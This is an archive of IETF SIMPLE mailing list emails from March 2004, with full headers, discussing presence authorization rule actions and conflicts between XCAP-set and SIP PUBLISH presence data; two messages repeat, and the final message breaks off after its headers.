To: <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 15 Mar 2004 23:33:31.0554 (UTC) FILETIME=[ED23A020:01C40AE5]
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] Presence authorization: confirmation vs. accept-subscription
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 01:33:30 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.4 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

A short question before commenting further on the semantic presence =
authorization rules:

The presence authorization rules draft defines three actions: =
"confirmation", "accept-subscription" and "provide-presence". =
"confirmation" is derived from the common policy spec. It says that if =
there is a "confirmation" action, the subscription is put to pending =
state and it waits for the rule maker to upload further rules.=20

However, what if one matching rule defines the action "confirmation" and =
another one "accept-subscription" & "provide-presence"? Intuitively (and =
by the additiveness principle) this means that the "accept-subscription" =
is the more "liberal" rule, and should be followed. However, there is no =
text in the draft describing how to combine the actions, only =
transformations are covered.

Regards,
	Markus=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 16 07:46:38 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA28037
	for <simple-archive@ietf.org>; Tue, 16 Mar 2004 07:46:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Dxv-0007E3-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 07:46:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3Dx3-0007AV-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 07:45:45 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3DwP-00076V-00; Tue, 16 Mar 2004 07:45:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3DwM-0003q8-FR; Tue, 16 Mar 2004 07:45:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Dw2-0003pL-7u
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 07:44:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA27994
	for <simple@ietf.org>; Tue, 16 Mar 2004 07:44:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Dw1-00075G-00
	for simple@ietf.org; Tue, 16 Mar 2004 07:44:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3Dv9-00071T-00
	for simple@ietf.org; Tue, 16 Mar 2004 07:43:48 -0500
Received: from imr2.ericy.com ([198.24.6.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3DuY-0006vO-00
	for simple@ietf.org; Tue, 16 Mar 2004 07:43:10 -0500
Received: from eamrcnt716.exu.ericsson.se (eamrcnt716.exu.ericsson.se [138.85.90.247])
	by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i2GCgefX025813
	for <simple@ietf.org>; Tue, 16 Mar 2004 06:42:40 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt716.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 16 Mar 2004 06:40:38 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <GXVDWYSF>; Tue, 16 Mar 2004 06:41:27 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C962C@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>,
        jdrosen@dynamicsoft.com
Cc: simple@ietf.org
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
	 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 16 Mar 2004 12:40:38.0078 (UTC) FILETIME=[E2574DE0:01C40B53]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 06:41:24 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Hi Markus,

Comments inline
/gf

> > So here is my cell phons status from each entity's point of view: 
> > 1) The XCAP server has my cell phone turned OFF in its storage. 
> > 2) My presence status has my cell phone turned ON.
> > 
> 
> OK.

This is extremely confusing for your average user, who would see through XCAP (through a normal document reading), that his phone is off, while his presence application should have set it on (and it did indeed).

> 
> > Is that the way it should behave?
> 
> Yes, it is now upto the composer to decide how to combine the 
> two sources of presence information. Admittedly this is 
> problematic if there is conflicting information. Typically 
> the information obtained via SIP PUBLISH would override the 
> information given by XCAP. However, there's no way to 
> distinguish between two SIP PUBLISHes.
> 

Well let me say that there is no magic way to combine conflicting information.
The potential of conflicting information originating from different between PUA using SIP PUBLISH, mostly generated by applications as opposed to human intervention, is much less likely, then with using XCAP, where human intervention is needed.

I cant imagine that anybody can implement the draft, as currently defined, as the example demonstrates the potential problems it can creates.
I dont question the need for a user to set hard states. 
But using XCAP as currenly defined, (i.e wide open for anything) for that purpose opens a pandora box that I'd rather avoid.

Indeed, that draft allows me to set everything using XCAP. I dont need to have any presence application in my different clients. I can simply use XCAP.
Of course, I dont get the benifits of PUBLISH. But so what.

Rgds/gf

 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 16 07:47:10 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA28059
	for <simple-archive@odin.ietf.org>; Tue, 16 Mar 2004 07:47:10 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Dxx-0003zg-Dx
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 07:46:41 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2GCkfOj015346
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 07:46:41 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Dxx-0003zR-53
	for simple-web-archive@optimus.ietf.org; Tue, 16 Mar 2004 07:46:41 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA28049
	for <simple-web-archive@ietf.org>; Tue, 16 Mar 2004 07:46:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Dxw-0007E8-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 07:46:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3Dx3-0007Ac-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 07:45:46 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3DwP-00076V-00; Tue, 16 Mar 2004 07:45:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3DwM-0003q8-FR; Tue, 16 Mar 2004 07:45:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3Dw2-0003pL-7u
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 07:44:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA27994
	for <simple@ietf.org>; Tue, 16 Mar 2004 07:44:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3Dw1-00075G-00
	for simple@ietf.org; Tue, 16 Mar 2004 07:44:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3Dv9-00071T-00
	for simple@ietf.org; Tue, 16 Mar 2004 07:43:48 -0500
Received: from imr2.ericy.com ([198.24.6.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3DuY-0006vO-00
	for simple@ietf.org; Tue, 16 Mar 2004 07:43:10 -0500
Received: from eamrcnt716.exu.ericsson.se (eamrcnt716.exu.ericsson.se [138.85.90.247])
	by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i2GCgefX025813
	for <simple@ietf.org>; Tue, 16 Mar 2004 06:42:40 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt716.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Tue, 16 Mar 2004 06:40:38 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <GXVDWYSF>; Tue, 16 Mar 2004 06:41:27 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C962C@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>,
        jdrosen@dynamicsoft.com
Cc: simple@ietf.org
Subject: RE: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
	 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 16 Mar 2004 12:40:38.0078 (UTC) FILETIME=[E2574DE0:01C40B53]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 06:41:24 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Hi Markus,

Comments inline
/gf

> > So here is my cell phons status from each entity's point of view: 
> > 1) The XCAP server has my cell phone turned OFF in its storage. 
> > 2) My presence status has my cell phone turned ON.
> > 
> 
> OK.

This is extremely confusing for your average user, who would see through XCAP (through a normal document reading), that his phone is off, while his presence application should have set it on (and it did indeed).

> 
> > Is that the way it should behave?
> 
> Yes, it is now upto the composer to decide how to combine the 
> two sources of presence information. Admittedly this is 
> problematic if there is conflicting information. Typically 
> the information obtained via SIP PUBLISH would override the 
> information given by XCAP. However, there's no way to 
> distinguish between two SIP PUBLISHes.
> 

Well let me say that there is no magic way to combine conflicting information.
The potential of conflicting information originating from different between PUA using SIP PUBLISH, mostly generated by applications as opposed to human intervention, is much less likely, then with using XCAP, where human intervention is needed.

I cant imagine that anybody can implement the draft, as currently defined, as the example demonstrates the potential problems it can creates.
I dont question the need for a user to set hard states. 
But using XCAP as currenly defined, (i.e wide open for anything) for that purpose opens a pandora box that I'd rather avoid.

Indeed, that draft allows me to set everything using XCAP. I dont need to have any presence application in my different clients. I can simply use XCAP.
Of course, I dont get the benifits of PUBLISH. But so what.

Rgds/gf

 

This communication is confidential and intended solely for the addressee(s). Any unauthorized review, use, disclosure or distribution is prohibited. If you believe this message has been sent to you in error, please notify the sender by replying to this transmission and delete the message without disclosing it. Thank you.

E-mail including attachments is susceptible to data corruption, interruption, unauthorized amendment, tampering and viruses, and we only send and receive e-mails on the basis that we are not liable for any such corruption, interception, amendment, tampering or viruses or any consequences thereof.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 16 10:01:44 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03919
	for <simple-archive@ietf.org>; Tue, 16 Mar 2004 10:01:43 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3G4f-00031K-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 10:01:45 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3G3h-0002wU-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 10:00:46 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3G33-0002sa-00; Tue, 16 Mar 2004 10:00:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3G31-0007tc-0Y; Tue, 16 Mar 2004 10:00:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3G2g-0007sr-JJ
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 09:59:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA03848
	for <simple@ietf.org>; Tue, 16 Mar 2004 09:59:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3G2e-0002qx-00
	for simple@ietf.org; Tue, 16 Mar 2004 09:59:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3G1g-0002m1-00
	for simple@ietf.org; Tue, 16 Mar 2004 09:58:41 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3G0j-0002eT-00
	for simple@ietf.org; Tue, 16 Mar 2004 09:57:41 -0500
Received: from dynamicsoft.com ([63.113.46.98])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2GEvJNr019286;
	Tue, 16 Mar 2004 09:57:20 -0500 (EST)
Message-ID: <405715C1.6040808@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: simple@ietf.org
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A398@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A398@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: Presence authorization: confirmation vs. accept-subscription
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 09:57:05 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Markus,

This is a good comment. Generally, the permissions (actions and 
transformations) should ideally be orthogonal. If they're not, its 
worthwhile looking into combining them. So, let us look at which 
combinations make sense:


confirmation  | accept-sub |  provide-pres | comment
------------------------------------------------------------------
  false           false        false          do nothing - makes sense
  false           false        true           doesnt make sense - need
                                              to accept sub to
                                              provide presence
  false           true         false          basic polite blocking
  false           true         true           basic white list
  true            false        false          pending
  true            false        true           makes no sense
  true            true         false          makes no sense
  true            true         true           makes no sense


So, it seems like there are only a few combinations that make sense. 
Perhaps it would be a better idea to combine all three into a single 
operation - <sub-handling> and have the following values:

block : deny the subscription
confirm : subscription is pending
polite-block: accept it, but provide no presence
allow: accept it and provide presence

In terms of privacy, these would be in increasing order of integral 
values. That means that if one rule assigns a value of "confirm", and 
another "polite-block", the result is "polite-block".

Thoughts?

Thanks,
Jonathan R.


Markus.Isomaki@nokia.com wrote:

> Hi,
> 
> A short question before commenting further on the semantic presence
> authorization rules:
> 
> The presence authorization rules draft defines three actions:
> "confirmation", "accept-subscription" and "provide-presence".
> "confirmation" is derived from the common policy spec. It says that
> if there is a "confirmation" action, the subscription is put to
> pending state and it waits for the rule maker to upload further
> rules.
> 
> However, what if one matching rule defines the action "confirmation"
> and another one "accept-subscription" & "provide-presence"?
> Intuitively (and by the additiveness principle) this means that the
> "accept-subscription" is the more "liberal" rule, and should be
> followed. However, there is no text in the draft describing how to
> combine the actions, only transformations are covered.
> 
> Regards, Markus
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar 16 10:02:16 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03959
	for <simple-archive@odin.ietf.org>; Tue, 16 Mar 2004 10:02:15 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3G4j-0000Va-4G
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 10:01:49 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2GF1n50001954
	for simple-archive@odin.ietf.org; Tue, 16 Mar 2004 10:01:49 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3G4i-0000VR-V0
	for simple-web-archive@optimus.ietf.org; Tue, 16 Mar 2004 10:01:48 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03922
	for <simple-web-archive@ietf.org>; Tue, 16 Mar 2004 10:01:44 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3G4g-00031P-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 10:01:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3G3i-0002wb-00
	for simple-web-archive@ietf.org; Tue, 16 Mar 2004 10:00:47 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3G33-0002sa-00; Tue, 16 Mar 2004 10:00:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3G31-0007tc-0Y; Tue, 16 Mar 2004 10:00:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3G2g-0007sr-JJ
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 09:59:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA03848
	for <simple@ietf.org>; Tue, 16 Mar 2004 09:59:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3G2e-0002qx-00
	for simple@ietf.org; Tue, 16 Mar 2004 09:59:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3G1g-0002m1-00
	for simple@ietf.org; Tue, 16 Mar 2004 09:58:41 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3G0j-0002eT-00
	for simple@ietf.org; Tue, 16 Mar 2004 09:57:41 -0500
Received: from dynamicsoft.com ([63.113.46.98])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2GEvJNr019286;
	Tue, 16 Mar 2004 09:57:20 -0500 (EST)
Message-ID: <405715C1.6040808@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: simple@ietf.org
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A398@esebe018.ntc.nokia.com>
In-Reply-To: <E392EEA75EC5F54AB75229B693B1B6A707E7A398@esebe018.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Re: Presence authorization: confirmation vs. accept-subscription
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Mar 2004 09:57:05 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Markus,

This is a good comment. Generally, the permissions (actions and 
transformations) should ideally be orthogonal. If they're not, its 
worthwhile looking into combining them. So, let us look at which 
combinations make sense:


confirmation  | accept-sub |  provide-pres | comment
------------------------------------------------------------------
  false           false        false          do nothing - makes sense
  false           false        true           doesnt make sense - need
                                              to accept sub to
                                              provide presence
  false           true         false          basic polite blocking
  false           true         true           basic white list
  true            false        false          pending
  true            false        true           makes no sense
  true            true         false          makes no sense
  true            true         true           makes no sense


So, it seems like there are only a few combinations that make sense. 
Perhaps it would be a better idea to combine all three into a single 
operation - <sub-handling> and have the following values:

block : deny the subscription
confirm : subscription is pending
polite-block: accept it, but provide no presence
allow: accept it and provide presence

In terms of privacy, these would be in increasing order of integral 
values. That means that if one rule assigns a value of "confirm", and 
another "polite-block", the result is "polite-block".

Thoughts?

Thanks,
Jonathan R.


Markus.Isomaki@nokia.com wrote:

> Hi,
> 
> A short question before commenting further on the semantic presence
> authorization rules:
> 
> The presence authorization rules draft defines three actions:
> "confirmation", "accept-subscription" and "provide-presence".
> "confirmation" is derived from the common policy spec. It says that
> if there is a "confirmation" action, the subscription is put to
> pending state and it waits for the rule maker to upload further
> rules.
> 
> However, what if one matching rule defines the action "confirmation"
> and another one "accept-subscription" & "provide-presence"?
> Intuitively (and by the additiveness principle) this means that the
> "accept-subscription" is the more "liberal" rule, and should be
> followed. However, there is no text in the draft describing how to
> combine the actions, only transformations are covered.
> 
> Regards, Markus
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar 16 10:19:38 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05722
	for <simple-archive@ietf.org>; Tue, 16 Mar 2004 10:19:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3GM0-0004Ru-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 10:19:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3GL6-0004Nv-00
	for simple-archive@ietf.org; Tue, 16 Mar 2004 10:18:45 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3GKO-0004KX-00; Tue, 16 Mar 2004 10:18:00 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3GKP-0005sz-9y; Tue, 16 Mar 2004 10:18:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B3GK7-0005mu-S1
	for simple@optimus.ietf.org; Tue, 16 Mar 2004 10:17:43 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA05530
	for <simple@ietf.org>; Tue, 16 Mar 2004 10:17:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3GK5-0004Ir-00
	for simple@ietf.org; Tue, 16 Mar 2004 10:17:41 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B3GJ8-0004Dw-00
	for simple@ietf.org; Tue, 16 Mar 2004 10:16:42 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B3GIB-00046f-00
	for simple@ietf.org; Tue, 16 Mar 2004 10:15:43 -0500
Received: from dynamicsoft.com ([63.113.46.98])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2GFFINr019303;
	Tue, 16 Mar 2004 10:15:19 -0500 (EST)
Message-ID: <405719F5.1010705@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Markus.Isomaki@nokia.com
CC: george.foti@ericsson.com, simple@ietf.org
Subject: Re: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (wa
 s RE: Comment s on draft-isomaki-simple-xcap-publish-usage-00)
